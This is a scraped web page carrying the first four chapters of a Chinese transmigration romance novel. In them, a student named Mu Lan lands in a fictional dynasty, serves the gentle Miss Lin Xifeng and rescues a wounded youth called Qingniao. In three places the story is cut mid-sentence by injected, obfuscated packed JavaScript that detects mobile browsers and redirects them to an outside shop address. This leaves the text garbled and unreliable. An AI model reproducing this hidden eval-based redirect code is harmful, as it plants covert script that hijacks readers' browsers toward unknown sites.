《这剧情我好像在哪写过》 1. 古月今人 木澜是一定要离开这里的。 她一个正值大好年华的有为青年、祖国的花朵,居然穿越成了一个黑户! 不是,别人穿越都是什么公侯小姐、世外高人,再不济也是什么一路逆袭、有头有脸的人物。 到她这儿,成了个查无此人。 木澜仰天长叹:老天,你待我也太薄了吧! 事情要从木澜的兴趣说起,上大学后,她一腔热血加入学校的话剧社,从此过上了暗无天日的后台生活。 本以为新人磨难,可都大二了,话剧社又招来一批新生,总能凭借资历从幕后换到台前了吧。 可社长在听说木澜的机械专业后,本着好用就往死里用的原则,悍然将其发配到后台,掌管舞台升降机和设备损管。 从打杂变成了常驻,这个明升暗降让木澜怒了。 她前去理论,还被社长拿出她曾写过的一篇小说嘲讽,说撒把小米在键盘上,鸡都比她写得好。 巨大的羞耻感袭来,木澜忍无可忍,冲到台前,对着他破口大骂。 上一秒,她还记得自己正揪着话剧社长那个扒皮吵架,尖叫声响起,简易搭建的舞台轰然倒塌,她下意识把人推了出去。 ——再睁眼,就到了这。 一间明显不是现代装扮的房屋,身下的木床硬邦邦的。 也算各种穿越、重生、爽文看了个遍,因此发现不对的时候,木澜并没有像个好奇宝宝一样问这问那,而是邪魅一笑,站起身,从容自信地推开门,没有犹豫,一头扎进池子里。 “来人呀!这刚救活的又死啦!” 一阵鸡飞狗跳。 得,重开失败。 看来也不是在演戏,并没有所谓的工作人员出来制止。 再一次悠悠转醒,木澜开始走流程。 她清清嗓子,一副失忆后的纯真模样:“哎呀呀!这是怎么一回事情呀?” “……” 没人理她,难道戏太过了? 木澜看向面前梳着丫鬟发髻的小姑娘,恍然大悟道:“我知道了,你一定就是我的左膀右臂吧!快告诉我这次拿的什么剧本?爹不疼娘不爱?还是打怪升级?我已经准备好了!” 说完,她撸了撸袖子。 “原来是个神经病。” 小姑娘翻了个白眼,欲再说,“吱呀”一声,房门被推开,一道袅娜白影走进来。 小姑娘起身,规规矩矩叫了一声:“小姐。” 这位才是小姐,那自己是谁? 木澜低下头,看了看自己,才注意到身上的衣服虽然被换了,但手腕上的红痣居然和自己原来的一模一样。 捏了一把,很疼! 木澜意识到什么,冲到窗台边,对着铜镜扒开发缝,仔细一瞧,真的也有颗痣! 旁边托盘上,还放着她当时身上穿的风衣。估摸着是跳水后,从她身上扒下来的,已经洗干净了。 搞什么?这都什么年代了,还搞身穿那一套! 这算什么?平行时空?宇宙飞船? 想到刚刚的跳湖,木澜心中一阵后怕,看来是不能随便寻死了。 也不知道怎么回事,总之先待着。 无数前人说得对,既来之则安之。就当玩游戏了。 做好思想准备后,木澜抬起头,就看见那位白衣小姐正瞧着自己。 她的目光是平直的,并不冒犯,反而有一丝善意的好奇。 木澜上过几年寄宿学校,一向很会跟同龄的女孩子打交道。 她大大方方伸出手,扬起一抹友善的笑:“你好!我是木澜。” 木澜其实说谎了,她本名叫木凭澜。 不过这个名字拗口不好记,从小到大,周遭人都习惯将她和一位传说中的人物混为一谈。 白衣小姐微愣,像是不知道木澜的意思,不握手,学着她的样子笑了笑。 “我姓林。” 木澜问:“林什么?” 白衣小姐还未发话,旁边的丫头便道:“大胆!你怎么跟小姐说话呢!” 差点忘了,这里是古代,不兴握手礼,太过直白讲话会给人唐突之感。 不过木澜的心态一向很好,她笑意盈盈,从善如流道:“这位美丽的小姐,请问芳名?” 白衣小姐像是诧异她的没脸没皮,依旧惊奇,淡声说:“我的名字是溪风。” 溪风。 木澜跟着念了一句,人如其名,是个好名字。 木澜又看向旁边的小姑娘,同样问道:“旁边这位美丽的……姑娘,请问你的芳名呢?” 她本来也想说小姐,注意到小姐本尊就在这里,只得转一个弯喊姑娘。 小姑娘不想回答,溪风一个眼神扫过,她只能开口:“含笑,我是含笑。” 好,如此便算做认识了。 开了话匣子,一切好说。木澜问:“这是哪里?” 含笑道:“当然是云州。” 显然,木澜没听说过云州这个地方。 她只得又问:“什么朝代?” 含笑望向一旁的溪风,得到首肯后,方才答道:“大周。” 木澜问:“西周?东周?还是武则天的武周?” 含笑摇了摇头。 看来都不是。 木澜不死心,又问道:“年号是什么?” 这下连一旁的溪风面上也惊疑起来,含笑不敢说话了。 见木澜一脸认真,才道:“今年是永宁十四年。” 木澜彻底卸了气,中国历史是从明朝起确立“一世一元制”。 年号、国号、地名完全对不上。她菲薄的历史知识中,也并没有搜寻到永宁十四年这个节点。 硬要说的话,她只听说过永宁公主。 所以,这里是一片完全陌生的土壤。 穿越就算了,还穿到一个鸟不拉屎的陌生朝代,是一点金手指也不给呀。 木澜的垂头丧气的模样,被溪风尽收眼底,她从未见过一个人脸上,有如此精彩纷呈的表情。 有些好笑似的开口:“你问完了,现在该到我了。你是谁?” 木澜苦笑道:“我是木澜。” 这要木澜怎么说?自古穿越就没有她这么悲催的,一点剧情提示都没有,像没过新手教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730546|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程直接玩游戏,实在无从下手。 溪风皱眉:“不是说这个,我是想知道你从何而来,为何会一个人出现在荆门关外,你不知道那里是北边最后一道关隘,百姓不能随意出入的吗?” 木澜茫然摇头,显然一无所知,这完全是一场绑架似的无意识穿越! 只能愁眉苦脸道:“如果我说,我不是故意的,而且我失忆了。你信吗?” 溪风不答,无声地表明她不信。 含笑冷笑一声,合格地履行丫鬟职责,替小姐诘问道:“你——说呢?” 眼看赖不过去,也罢。 出来混,身份是自己给的。 好在木澜胡说八道的能力一向可以,遂深情并茂道:“既然如此,我也就不隐瞒身份了——其实我是一个神仙。” 溪风:“……” 含笑:“……” “真的,你们想嘛,这个世界上怎么会有什么都不知道的人?足以证明,我其实并不是人。可我有影子,也不怕阳光,所以我也不是鬼,不用害怕。我在天上的时候,听见了你们的心声,知道你们将有大劫,所以特此下凡,帮助你们遇难呈祥、逢凶化吉。” 木澜越讲越来神,干脆站起身,一手拎起架子上的风衣。 “这就是证据!俗话说天衣无缝。你们且看,我这羽衣是不是毫无破绽?” 木澜对现代纺织业很有信心,任你拿着放大镜也挑不出毛病。 更遑论,这里连放大镜都没有,简直天助她也。 含笑犹豫了,“小姐,这块奇形怪状的破布确实很神奇,怎么都浸不了水,就连从池子里捞出来,还是干的。” 木澜心道:废话,这可是不沾水风衣,你当跟你闹呢。 不过她的另一件羊毛裙就没那么好运,已经严重缩水,成了一块抹布。 木澜心疼不已:我恨手洗! 含笑对这些无头无脑的话嗤之以鼻。溪风却很有兴趣:“那依你看,我有什么劫难呢?” 木澜编不出来,这本也是她随口胡诹出的借口,遂道:“时候未到,天机不可泄露。” 溪风善解人意,没有追问。 只是话锋一转:“你的口音,听起来不是北地话。” 这句话用的是肯定的语气。 木澜确实是南方人,虽在北方上过两年大学,但口音还未沾染上精髓。 她随意道:“我只是个讲普通话的普通人。” 含笑嗤了一声:“才刚是神,现在又变成人了。” 溪风像是没听见,径直站起身问:“这么说,你是神仙,且无处可去了?” 木澜忙不迭地点头。 “你既说是为我而来,那便留在我身边吧。” 溪风的话才落,一旁的含笑便不赞同地叫了一声:“小姐!” 只是她的好意提醒,全被溪风无视了。 “好!”木澜巴不得留下来,反正她也无处可去。 没想到这古代的小姐如此好忽悠,木澜心中欣喜,又夹杂着一丝隐秘的歉疚。 理所应当的,她忽略了这位林小姐的语气里,透着一股高兴。 2. 初遇青鸟 时间一晃已经过了一个月,木澜也已经扫了一个月的地。 在这一个月里尝试了各种办法,试图搞明白穿越的原理,只是都无果后,才对自己如今的身份有了些实感。 没错,溪风留下她的方式,就是让她当丫鬟。 可怜她连古代的发髻都不会梳,第一天,磨磨蹭蹭扎了个马尾出来,差点把含笑笑死,溪风也掩面而笑。 然后便是含笑教她扎发:“身体发肤受之父母,你的头发怎么乱七八糟的?” 这个天真的姑娘以为木澜是被欺负了,颇有怜惜之意,木澜也顺势抽泣两声,含笑更是心软,答应以后都帮她梳发。 其实这是木澜高价请总监设计的法式刘海。 至于木澜为什么心甘情愿的当丫鬟,理由更是离谱至极。 那日她跳池子后,几个家丁跑来救她,畏着男女大防,隔老远拿竹竿捞。木澜本身会水,扑腾了会,见没用就打算游回来,却被如暴雨般的竹竿敲晕了去,差点淹死。 喂!这到底是救人还是杀人啊! 最可笑的还是一个花房的花奴,听到动静跑过来看热闹,结果被竹竿误伤,摔碎了手里抱着的兰花,所以要木澜做工来抵。 木澜:这也怪我么! 无能狂怒几日后,木澜也看开了,像一颗蒲公英种子,准备在这片陌生的土壤落地生根。 开始跟院子里的小丫头们侃大山,她极其健谈,可以从古今中外的志怪传说,聊到家长里短的风流韵事。 起先姑娘们都不听,但奈何她说的实在起劲,而且分外会卖关子,年纪小的耐不住她这招,抓心挠肝,追问结局。 一来二去,便混熟了。 也顺道打听消息,从小丫头们的只言片语里,半是忽悠半是猜测,木澜总算是明白了自己的处境。 这里大概是一个历史上未曾有过的朝代,但风俗文化却和古代中原大同小异。 自己所在的地方叫云州,是一座边境之城。 云州是山地,北边就是茫茫无际的草原大漠,那里是游牧部落生活的地方。 木澜穿越的地方就是在云州北边最后的一道关卡——荆门。 换句话说,这主仆俩是在荆门捡到她的。 至于为什么两个姑娘会出现在那种地方,那就不得不从林小姐的家族说起了。 林家是发迹于云州的大户,祖上靠经商赚了个盆满钵满,因为此地盛产一种名贵的云宣,甚至一度成为了给朝廷供货的皇商。后代分家后,云州这一支虽没有分到云宣的产业,只继承了其他琐碎的事务,但也算是本家,因此在当地颇有声望。 现如今接手生意的是林家大公子;林小姐行二,是家里唯一的女孩子,管府里的大小事务;还有一个三公子在学堂里念书。 捡到木澜那日,是家里布庄的掌柜携款跑路。 林大公子不在云州,府里管事的就是林小姐,林小姐带人追至荆门,没抓到掌柜,倒是捡到了木澜,才得以有后面的故事。 “话说包拯大怒道:驸马爷,你欺人太甚!命人抬上龙头铡伺候——” 含笑跑过来道:“木澜,小姐叫你去呢!” 几人正在兴头上,闻言才回过神来。木澜站起身,准备走。 其中一个姑娘拉住她的袖子,脆生生道:“哎!你还没说完呢!” “对呀,驸马爷死了吗?” 木澜回身笑道:“欲知后事如何,且听下回分析。” “可恶,这人又卖关子!” 木澜美滋滋地跟着人走了,路上含笑犹豫半晌,也悄声问:“所以,驸马爷的结局……” 木澜双手交叉:“打住!我是不会提前告诉你的。” 木澜也没想到这些故事如此受欢迎,干脆自己去当说书人好了。 含笑被拒面上不开心,木澜跨门槛的脚一顿,回头冲她咬耳朵,“别不高兴了,下次给你讲《穆桂英挂帅》,好不好?” “行吧!” 得了应答,她才抬脚跨进去。 一进门,堂上正中间一幅山水大雁画,两边挂着副对联,上书写着:人似秋鸿来有信,事如春梦了无痕。 倒不像是商贾人家,木澜诧异了一瞬,朝屏风处投一眼,跟着进去。 溪风见人来了,放下手里的账簿,道:“我去查过了,云州城最近并没有同你适龄的女子失踪。” 木澜早知会这样,她本就是凭空出现的,自然不可能和这个世界相对应。耸肩道:“那不正好说明我是神仙吗?” 溪风静静地看着她,木澜并不闪躲。 含笑捧着个白瓷花瓶出来。 “北街陈家送来一个白玉瓷瓶。” 溪风并未分过去一个眼神,随口道:“放库房里。” 木澜在这样的视线里无所遁形,顺势跑过去摸了摸,很感兴趣,“库房里落得一身灰,我看放窗台就好,再摘几朵花放进去,一天心情都会很好的。” 含笑却不听她的,“这个瓷瓶放了,其他家的怎么办?不如都不放来的妥帖。” “麻烦,”木澜完全无法理解这样的“公平”,她道,“怎么舒服怎么来嘛。” 来这里许久,也算摸清各自的习性。 含笑虽嘴上不饶人,但心思很单纯,十几岁的姑娘家而已。 这林小姐则真是一个妙人。木澜所见过脾气最好的人也是八面玲珑两面刺,这林小姐却是十分的人九分的温柔,独余一分浅淡的愁。 只要不是特别离谱的要求,大多都会听上一听。 譬如有一日她突发奇想,对溪风道:“小风,我叫你小风好不好?” 溪风没说好,也没说不好,只是反问道:“那为什么不让我叫你小澜?” 木澜摊手:“因为大家都叫我木澜。” 溪风:“那为什么叫我小风?” 木澜:“因为都没人叫你小风。” 对于这种胡搅蛮缠她也不生气,反而认真思考了会儿,觉得有些许道理,遂同意了木澜的说法。 含笑重新净了手,才开始给溪风梳妆打扮。 溪风收回眼,道:“过去的事我管不着,今后你就留在府里,陪在我身边,好吗?” “这当然好!”木澜应下。总算黑在了这个世界。 溪风闻言浅笑,她斜倚在窗边,如露花倒影。 往日木澜讲那些稀奇古怪的故事时,溪风也是这个姿势听着。 动作并不隐晦,像是故意让木澜发现。木澜也知道她在听,索性声音清晰洪亮些,让她听个清楚。 木澜对这位林小姐很有好感,一是因为她是自己的救命恩人,在这个陌生地方,自然带着点亲近之感;二是性格相互吸引,木澜性子太过闹腾,似乎天生就对沉静内敛之人没有抵抗力。 发髻梳好,又挑了件墨绿色的外衫穿上。木澜暗自赞叹溪风的气质,能把如此老气横秋的衣服穿出一股淡然出尘。开口道:“是要出去吗?” 溪风应了一声,看向她:“你想去吗?听说城西新来了一批兰花。” 木澜听到兰花二字就打哆嗦,因她打翻的那盆兰花价值十两银子,她现在一个月的工钱才二两。 也就是说,她的钱全拿去填债,还倒欠八两。 木澜讪讪道:“我差不多得再干四个月才能去吧。” 溪风笑道:“去吧,跟我们一起。就当是出门散心了。” 闻言,木澜眼里有光,“是要给我免了吗?” 溪风还未说话,含笑便道:“想什么呢?给你记账上。” 果然天底下没有白得的美事。 她还是跟着去了,反正债主从府里转为溪风个人,债多不愁,对木澜来说根本没差。 这时夏天刚过,空气里充斥着一股尘土的味道,有些闷。 古代的市集自然是没有现代超市丰盛,但格外有人气儿。摊贩们会把东西摊开摆出来,供人挑选,这一点倒是和木澜长大的小镇差不多。 云州是边城,不及京城繁华,对北边游牧部落的封锁也很严格,朝廷规定两边不得串联,但民间需要以物换物,因此擅长经商的大漠胡人成了唯一的桥梁,时常有异域打扮的大胡子游商,牵着骆驼从闹市中穿行。 溪风和含笑去了一处商铺议事,临走时,给了木澜十两银子,嘱咐她一定挑一盆开得好的兰花。 老板见她年纪轻轻,多有怠慢,有一搭没一搭地介绍着。 木澜记得家中医馆便摆了盆蝴蝶兰,她爷爷爱这些,自己从小跟着耳濡目染,也颇受熏陶。先看看根,再对着光检查叶片,最后数花苞。挑了盆才开一朵,后缀着六个花苞的“素玉仙子”抱着,利落地结账走人。 出了门,才发觉天色暗了,地面已经开始落水星子。 路上还有仓促避雨的人群,街角几个赤脚的孩子挤在一起,檐下一个孤独的老人,手里拿着一块干掉的饼。她就打着伞,收回眼,从这样的一条长街匆匆跑过。 走近,才发现马车被拦下了。 巷子里卧着一团漆黑的东西,横在路边,正好挡路。 驾车的有贵用鞭柄戳了戳,毫无动静,疑惑道:“死了吗?” 含笑只敢用脚尖轻点两下,斗篷下骤然一动,吓得她惊声尖叫,连连后退。 “还会动!” 木澜好笑地看她一眼,把伞递过去,一撩袖子,“让我看看怎么个事。” 她蹲下,一手抱着兰花,一手掀开了那人的斗篷,顿时怔住了。 “好漂亮的眼睛。” 像高考后的那个暑假,她所看见过的九寨沟的湖水。 这底下原是个少年,瘦得厉害,一双绿色的眼睛深陷下去,长睫忽闪。 含笑见是个活人,也不怕了,对马车里的溪风道:“小姐,是个人呢。他好可怜,感觉快要死了。” 这话不假,这少年活像是才逃难出来,浑身的伤,消瘦不已。 恰逢雨天,倒在路边非死掉不可。 溪风掀开帘子打量一眼,目露不忍,道:“确实可怜。看看有没有什么办法把人带回去吧。” 今日是便装出门,马车很小,仅能坐两三个人,再说把一个来历不明的男子弄进去显然不合适。 含笑找来一根木头,有贵从马车里掏出一捆绳子,齐心协力,准备把人扶起来。 木澜却觉得不对劲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730547|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她方才虽只是匆匆一眼,却注意到这个少年眼里透着锐利,很是警惕。 再说都快死了,他虽不祈求救命,却横在了路边,逼得人不得不下车查看,或者从他身上碾过去。 如此不怕死,这能是一般人? 木澜之前不怕死是因为她是穿越的,她无所谓,别说这少年也是穿越的。 而且,这个场景怎么看着这么眼熟? 木澜看着瘦骨嶙峋的少年,转头又看向马车上的主仆俩,善良美丽小姐,忠心耿耿丫鬟,要素齐全。马车顶仿佛凝成三个明晃晃的大字——冤大头! 此情此景,像极了那个传说中的——路边的男人不要捡! 真是好生老套的剧情!木澜暗自咂舌 但正所谓招数不新,管用就行。 眼看着溪风就要从马车上下来,这一幕落在木澜眼中,简直就是仙子堕入魔窟的开始。 她一个箭步冲上去,道:“等等!” 溪风停下,不解地看着她。 “小风,你怎么路边随便躺一个人都救。包括我,你就不怕我是坏人吗?” 木澜说这句话稍微底气不足,比竟她自己也是溪风救的。但眼前这个少年显然比自己要危险的多。 她厌恶这种好人没好报的故事。再说,好不容易才留在这里,溪风就是她的生存之本,可不能因为这个陌生少年的出现毁了一切。 溪风道:“那你是吗?” 木澜难得卡了壳,结结巴巴道:“坏人怎么可能承认自己是坏人。我反正觉得自己不算什么好人。” 溪风又问:“那你会伤害我吗?” 木澜回答得斩钉截铁:“自然不会!” 溪风莞尔一笑:“那不就行了。木澜,我相信你。” 木澜的心被触动一瞬,这种被信任的感觉是极其美好的,尤其是在这陌生地方。 她那张能说会道的嘴难得说不出话,所幸含笑迅速唤醒了她:“木澜,你为什么要针对人家呀?” 木澜回过神道:“你看他长得一脸妖孽样子,能是什么普通人。” 这少年生的碧眼棕发,明显是关外的异族人。 含笑看过后,赞同道:“嗯,你别说,确实很妖孽,活像个罗刹鬼。” “……” 少年就坐在地上,静静听着她们谈话。 木澜见他不说话,开始大胆推测:“我知道了,你本是天潢贵胄无上尊贵,却遭奸人陷害一朝跌落凡尘。如今韬光养晦忍辱负重,只为将来手刃仇敌重回故里。真是好一段热血沸腾的传奇经历啊!” “……” “或者,你失忆了,前尘往事通通不记得了,如今小心行事,只等着拨云见月的那一天。” 少年终于开口:“……我没有失忆。” 木澜摆摆手:“甭管那些,无论目的是什么,你现在最想的是不是先赖上我们,然后对你的恩人广献殷勤,待到她爱上你的那一天,也是她悲惨命运的开始。你会对她骗财骗色,逼得她掏心掏肺!你追她逃,最后她心灰意冷一走了之,你才知早已爱上了她,悔不当初,忍不住哭鸡尿号一阵,叫旁人赞你情深义重,是也不是?” 一口气说完,木澜一撩头发,赞道:“世间怎会有我这般出尘绝艳又冰雪聪明的女子!” 少年:“……” 含笑:“……有病!” 溪风:“木澜!说的越发没道理了。” 木澜却坚持道:“小风,我是在为你担心。难道我真要眼睁睁地看着那一天到来吗?” 含笑颇为嫌弃地把人搡开:“你瞎操心什么呢?我们小姐已经有婚约了,是太守家的公子。多少人求都求不到的好姻缘哦。” 木澜站定,有些惊讶,询问道:“是吗?含笑说的是真的吗?怎么之前从未听你提过。” 溪风神色淡淡,像是根本不愿提及:“是的。” 那也许是自己搞错了,且试上一试再说。 木澜蹲下来,看着少年,礼貌问道:“阁下尊姓大名?” 那少年不答,只把头偏过去。 面对含笑质疑的眼神,木澜淡定表示:“可能听不懂中原话。” 于是再次开口:“你滴,叫什么名字的干活?” 少年这次翻了个白眼,木澜不惯着,一巴掌拍他头上,粗声粗气道:“跟谁俩犯驴呢,问你叫啥!” 少年像是从没想到木澜会动手,先是怔愣,随后又是恼怒,再看自己满身伤痕,毫无还手之力,最后往后一仰,瘫在墙壁上。 像是接受了自己的命运。 没时间让他伤春悲秋,木澜扬起手,准备再来一下。 恰逢一只通体翠色的鸟儿飞过,两人的目光都看过去,情不自禁对视一眼,再立马分开。 “……” 木澜道:“看什么,你不会要说你叫青鸟吧?” 那少年开口:“答对了,在下的名字就是青鸟。” “……”好家伙,现在出门开小号连名字都懒得取了! 木澜皮笑肉不笑,“你叫这名字多久了。” 青鸟并不着急回答,而是深呼吸一口,再吐出,道:“有一息了。” 3. 抬猪救人 木澜:“信不信我不救你了。” 青鸟一掀眼皮,看向马车,“貌似这事你说了不算。” 木澜立马挡住他的视线,道:“往哪看呢!” 木澜伸出手,指了指青鸟的眼睛,再指向马车,随后握拳,竖起大拇指,比了个抹脖子的动作,最后把兰花抱起来,警告意味明显。 青鸟:“……” 含笑举着伞道:“别闹了木澜,救人要紧!” 眼看着雨越下越大,冷意袭来,木澜松手,暂时放过了这个和她作对的少年,到底是一条人命。 木澜把兰花递给含笑,转头对少年微笑道:“救——当然要救了!只怕你不想被我救。” 她环顾四周,拿起绳子,捆住青鸟的手脚。 青鸟立即挣扎,只是他太过虚弱,被木澜一把摁了回去。 手脚捆好,木澜又拿过木头,阿贵看出她的意思,帮忙套着,从中穿过,一齐把人固定住了。 随后二人同时站起,像抬猪一样招摇过市。 溪风有些担心:“木澜,你行么?” 以机械为代表的传统工科,向来都是女人当男人使,男人当叉车使。到底是焊锡焊板子的人,木澜对自己的体力很有信心。 她若无其事道:“再来一个也不是问题。” 含笑看见这诡异的一幕,犹疑着开口:“但是,这样是不是有点……不太好?” 现在木澜是出力的人,她道:“救人本就不是嘴一张一闭的事。” 抬人的辛苦,底下被抬的人更是难堪。 青鸟自从被绑就满脸不配合,被抬起来那刻,他凭空僵住一瞬,随即恼羞成怒,立马大喊大叫: “住手!放我下来!放开我!我要杀了你们!” 那张苍白的脸瞬间活色生香,只是他的怒喊没人当回事。这种情况下,人命关天,尊严不在考虑范围中。 阿贵劝道:“先忍一忍吧,我们这是为了救你呢。” 青鸟并不领情,也没有刚刚的气定神闲,继续大喊:“谁要你们救?放我下去,让我去死!” 木澜看他一副羞愤欲死的模样,心中松懈几分。 这么沉不住气,也许真只是个普通人。 大不了自己以后看着他点,不让他靠近溪风便是了。 他们三人活像一座带着大喇叭的移动景观。 纵使厚脸皮如木澜,也有点受不住了。 木澜捂了捂耳朵,道:“别叫了,你觉得被人抬着很丢脸,难道我们抬人的就不丢脸吗?要丢脸也是三个人一齐丢脸。现在人少,你要再叫,把人都招来,大家全看见了。” 青鸟喊哑了嗓子,也不再梗着脖子,眼睛一闭,索性权当看不见。 这一幕被含笑看见了,她惊道:“木澜,他是不是被你气死了!” 木澜瞅一眼,知道他在装死,随口道:“没事,睡着了而已。” “……”青鸟被气的硬生生睁开眼睛,对着木澜怒目而视。 木澜微笑道:“醒了?这一觉睡的如何?” 青鸟微张嘴,正欲回答,突然眼睛瞪大—— 下一刻,木澜整个人踩空,猛然扑过来。 这下摔的瓷实,木澜却不疼,因为青鸟在下面结结实实做了肉垫子。她怕把人压坏了,慌忙爬起来,却又被肩上的棍子砸中,再度摔倒,混乱之中,一脚踩在青鸟的小腿上。 “对不住!实在对不住!” 饶是木澜再硬的心肠,此时全化作了怜悯。 这其实也不能太怪木澜,她走在后面,视线受阻,瞧不清门槛,加之古人的衣裙太长,她不习惯,所以才摔成这样。 青鸟自从被摔,手脚被缚,挣扎不了,索性就瘫倒在地,谁知竟也能发生踩踏事故。 此刻更是一副视死如归的神情,道:“别救了,受不起,让我死个清净吧。” 木澜此时体现出难得的责任心,她重新把人挑起来,道:“说什么胡话,都抬了你一路了,要死现在也晚了。” 随后又被抬起来,青鸟眼里最后一缕光明也熄灭了。 他说:“木澜,我记住你了。” 说完,眼睛一翻晕了过去。 得,梁子算是结下了。 一路抬到屋,青鸟已经如同死物。 有贵帮他洗干净,换了身干净的衣袍,从头到尾他都沉默而顺从。 帘外雨潺潺,外面的医馆估摸着已经闭门。 有贵拿出一瓶金疮药,“这还是大公子上次留下的,也不知道他什么时候从鄞州回来。” 含笑听到此处笑了笑,说:“你要是不那么贪吃,这次一定也能随着去。” 阿贵是林家大公子的侍从,处事周到,唯一的缺点就是贪吃。听说林大公子平日出门都带上他,只是这次他吃坏东西不舒服,才没有一道随行。 正是青核桃成熟的季节,院里也有一筐,这几日阿贵练着开核桃,木澜眼看着他的手从绿到黄,再到如今的漆黑,连指甲缝都不能幸免。 现在,阿贵用那双漆黑的手,蘸上药膏,准备往青鸟未干的伤口上抹去。 这一幕看的木澜胆战心惊、龇牙咧嘴。 最终,她忍无可忍道:“要不我来吧。” 阿贵停下,有些诧异道:“木澜,是我哪里做的不对吗?” 含笑:“也许她只是想借机下毒杀人。” 木澜解释:“不是,我只是想起我好像会医术这件事。” 含笑嗤笑一声:“这回不当神仙当医仙了?” 木澜不管她,从桌上拿起把匕首,对着烛火烧了烧,就当消毒,准备剔掉腐肉时,青鸟醒过来了。 他一睁眼,就看见木澜拿着把刀对着自己。 想也没想,一脚蹬了出去。 “啊!” “嘶——” ——同时响起两声惨叫。 木澜是猝不及防摔了个跟头,青鸟则是扭了腿,他的腿本就被木澜踩伤,现在更是伤上加伤。 木澜爬起来,怒道:“你发什么疯?” 青鸟被吼懵了,低头发现自己的衣服被换,立马拿被子裹紧自己。 “你对我做了什么?” 木澜冷笑一声:“这话问早了,我还什么都没做呢。” 说完,她指挥阿贵摁住青鸟,一刀一刀为其清创。 青鸟起先也挣扎,看见刀子落下,下意识闭上眼,随后发现是在替他刮去腐肉,才安静下来,眼睛一眨不眨盯着木澜。 倒是能忍,不怕疼。 清创完,木澜熟练地上药包扎,最后刀子一扔水里,方才坐下。 阿贵出去换水,木澜趁机警告塌上的人: “有些话我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730548|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只说一次,林小姐救了你,人是要懂得知恩图报的,不要打她的主意。” 青鸟脖子一梗:“我若不听,你待怎地?” 木澜当即把人摁塌上,摩拳擦掌地威胁道: “我既能医好你,自然也能叫你死我手里。” “……知道了。” 随后又别别扭扭说了声“谢谢”,细弱蚊蝇。 木澜略有诧异,仔细打量,才发现这少年说话虽硬气,但没什么桀骜不驯的戾气,眉眼清澈,到底是个十几岁的孩子。 掏掏耳朵:“听不见。” 青鸟不肯再说,翻身背对她。 绕出屏风,含笑正守在外头。 木澜想起含笑提到过溪风的婚事,悄声问她:“你今天说的那个婚约……是什么意思?” 含笑道:“咱们府里夫人去得早,老爷又多病,没人张罗,大公子成日里走南闯北的哪顾得上,不过近两年情况好些了,也该考虑终身大事。至于小姐,是年前定的亲,太守夫人来府上做客,一眼就挑中了我们小姐做儿媳。” “挑?”木澜有些不舒服。 含笑并没有注意到她的不虞,继续兴冲冲地说:“对啊,我们小姐聪慧贤良,我敢说全云州也找不出第二个这么好的姑娘!” 这一点木澜赞成,溪风确实善良温柔,和她在一起,木澜很自在,仿佛自己还在现代,从未离开。 含笑绕过屏风,朝榻上的青鸟望去,起先她不敢看,害怕那些血水,直到一切弄好,才凑上去瞧了瞧。 “木澜,你真的会呀?” 木澜扫了她一眼,没再说话。 窗外雨声淅沥。 木澜出生于一个医药世家,祖祖辈辈都是医生,到她父亲这一辈开始学西医,母亲则做了药商。 小镇不大,很多人靠种植药材为生,还有些会上山采药,卖给木澜的母亲,受伤生病了,也会来她家看。 她的家一楼是医馆,二楼是吃饭睡觉的地方。从有记忆起,就充当爷爷奶奶的帮手,是泡在药味里长大的。如果不出意外的话,她大概也会继承祖辈的衣钵,成为一名医生。 可惜没有如果。 想到父母,木澜长叹一声,估计他们还不知道,自己已经到了这方陌生的土地。 当年她负气离开,断绝联系,一个人去了千里之外的北方。 父母大怒,就此不闻不问。 现在想来也许是好事,至少他们只会觉得自己依然在外面生活着,留个念想,总归不用为自己的失踪而难过。 说起来,如果她老老实实按照父母的意思,说不定也不会穿越了。 是福是祸,很难说清楚。 溪风注意到木澜的低落,陪坐旁边,与她一道静坐听雨。 她问:“在想什么?” 木澜总不好意思说自己想父母,想回家,想被放弃的医术。 遂道:“青鸟的腿要是好不了,该怎么办。” 溪风笑了,眉眼弯弯,“你明明也不讨厌他,为何偏偏做出一副凶神恶煞的模样?” 当然是因为你呀,木澜没说出来。 她其实更想问溪风,她的婚约是怎么回事。但见她神色淡淡,不愿回答的样子,话到嘴边还是咽了下去。 只是话锋一转: “小风,跟我讲讲捡到我的那天吧。” 4. 雨过初晴 溪风说,捡到木澜,是在一个黄昏天。 她和含笑与胡商议完事,途径荆门关时,远远地看见一团模糊的影子趴在地上。 “我说像是个人,含笑却说这荒凉之地,怎么会有人。” 木澜催促道:“后来呢?” 溪风笑道:“我庆幸自己所坚持的,不然就不会遇见神仙了。” 